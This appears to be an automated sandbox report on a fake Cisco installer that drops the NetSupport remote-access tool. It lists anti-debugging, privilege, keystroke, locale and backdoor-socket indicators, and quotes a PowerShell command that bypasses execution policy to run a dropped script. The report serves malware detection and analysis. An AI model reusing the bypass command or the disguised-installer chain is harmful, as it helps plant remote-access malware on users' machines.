Source: client32.exe, 00000007.00000003.1989645822.000000000525C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.2285282850.000000000527B000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4142691665.000000000527B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: TCCTL32.DLL.5.dr	Binary or memory string: VMWare
Source: client32.exe, 00000007.00000003.2284925440.0000000005207000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4142691665.0000000005226000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.1989702492.0000000005255000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.2285282850.0000000005226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneVideo/resources/IDS_MANIFEST_VIDEO_APP_DESCRIPTION}LMEM
Source: TCCTL32.DLL.5.dr	Binary or memory string: >localhost:%d%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesvirtualVMWarevirt0000000000%02X%02X%02X%02X%02X%02XBluetoothpfntcctlex.cppRtlIpv6AddressToStringWntdll.dllntohlTCREMOTETCBRIDGE%s=%s
Source: client32.exe, 00000008.00000002.2104328100.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000008.00000003.2103752720.00000000005BF000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000000A.00000003.2189007519.000000000068F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	API call chain: ExitProcess graph end node			graph_7-85829
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_1116A559 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_1116A559

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_110CFCF0 _memset,_strncpy,CreateMutexA,OpenMutexA,GetLastError,wsprintfA,OutputDebugStringA,

7_2_110CFCF0

Contains functionality to dynamically determine API calls

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

7_2_11029230

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11178A14 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

7_2_11178A14

Enables debug privileges

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11030B10 SetUnhandledExceptionFilter,	7_2_11030B10
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1116A559 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_1116A559
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1115E4D1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_1115E4D1
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685B28E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_685B28E1
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11030B10 SetUnhandledExceptionFilter,	8_2_11030B10
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1116A559 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_1116A559
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1115E4D1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_1115E4D1

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1"

Contains functionality to execute programs as a different user

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_110F2280 GetTickCount,LogonUserA,GetTickCount,GetLastError,

7_2_110F2280

Contains functionality to simulate keystroke presses

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11027BE0 keybd_event,keybd_event,keybd_event,keybd_event,keybd_event,keybd_event,keybd_event,

7_2_11027BE0

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1"			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\Cisco\client32.exe "C:\Users\user\AppData\Roaming\Cisco\client32.exe"			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_1109D4A0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

7_2_1109D4A0

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_1109DC20 GetProcAddress,GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

7_2_1109DC20

Source: client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Shell_TrayWnd
Source: client32.exe, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Progman

Language, Device and Operating System Detection

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_11170208
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_1117053C
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_11170499
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoA,	7_2_11167B5E
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_11170106
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_111701AD
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_11170011
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_111703D9
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_11170500
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	7_2_685CDB7C
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_685CDC56
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_685C1CC1
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoA,	7_2_685CDC99
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_685C1DB6
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_685C1E5D
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_685C1EB8
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_685C2089
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: EnumSystemLocalesA,	7_2_685C2151
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_685C2175
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_685C21DC
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_685C2218
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	8_2_1117053C
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoA,	8_2_11167B5E
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_11170011
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_11170500
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_11170499

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_1101D180 __time64,SetRect,GetLocalTime,

7_2_1101D180

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_1103B220 _calloc,GetUserNameA,_free,_calloc,_free,

7_2_1103B220

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

7_2_1109D4A0

Stealing of Sensitive Information

OS version to string mapping found (often used in BOTs)

Source: is-T3UDO.tmp.1.dr	Binary or memory string: r?IsOs_WIN_VISTA@@YA_NXZ
Source: is-O6HT8.tmp.1.dr	Binary or memory string: ?GetOsVersion@@YA?AUMYOSVERSION@@XZ\?IsOs_MAC@@YA_NXZq?IsOs_WIN_8_Only@@YA_NXZ
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_8_Only@@YA_NXZ
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_7_Only@@YA_NXZ
Source: is-O6HT8.tmp.1.dr	Binary or memory string: p?IsOs_WIN_8Point10_Only@@YA_NXZ
Source: is-O6HT8.tmp.1.dr	Binary or memory string: ?MakeSureDirectoryPathExists@@YA_NPB_W@Zl?IsOs_WIN_7_Only@@YA_NXZi
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_VISTA_Only@@YA_NXZ
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_8@@YA_NXZ
Source: is-O6HT8.tmp.1.dr	Binary or memory string: l?IsOs_WIN_7_Only@@YA_NXZ
Source: is-T3UDO.tmp.1.dr	Binary or memory string: ??1CHModuleMgr@@QAE@XZr?IsOs_WIN_VISTA@@YA_NXZw
Source: is-O6HT8.tmp.1.dr	Binary or memory string: GetCurrentTimeSecondss?IsOs_WIN_VISTA_Only@@YA_NXZR
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_8Point10@@YA_NXZ
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_8Point10_Only@@YA_NXZ
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_VISTA@@YA_NXZ
Source: is-O6HT8.tmp.1.dr	Binary or memory string: ?CreateMultitonInstance@CExecutionContext@@SAJAAPAV1@W4INSTANCE_ID@1@@ZW?IsOs_LINUX@@YA_NXZp?IsOs_WIN_8Point10_Only@@YA_NXZ
Source: is-O6HT8.tmp.1.dr	Binary or memory string: q?IsOs_WIN_8_Only@@YA_NXZ
Source: is-O6HT8.tmp.1.dr	Binary or memory string: s?IsOs_WIN_VISTA_Only@@YA_NXZ
Source: is-FRTV6.tmp.1.dr	Binary or memory string: ?IsOs_WIN_7@@YA_NXZ

Remote Access Functionality

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_6859A980 EnterCriticalSection,LeaveCriticalSection,LeaveCriticalSection,LeaveCriticalSection,WSAGetLastError,socket,WSAGetLastError,#21,#21,#21,bind,WSAGetLastError,closesocket,htons,WSASetBlockingHook,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAUnhookBlockingHook,EnterCriticalSection,InitializeCriticalSection,getsockname,LeaveCriticalSection,GetTickCount,InterlockedExchange,

7_2_6859A980

Yara detected NetSupport remote tool

Source: Yara match	File source: 8.2.client32.exe.688b0000.5.unpack, type: UNPACKEDPE
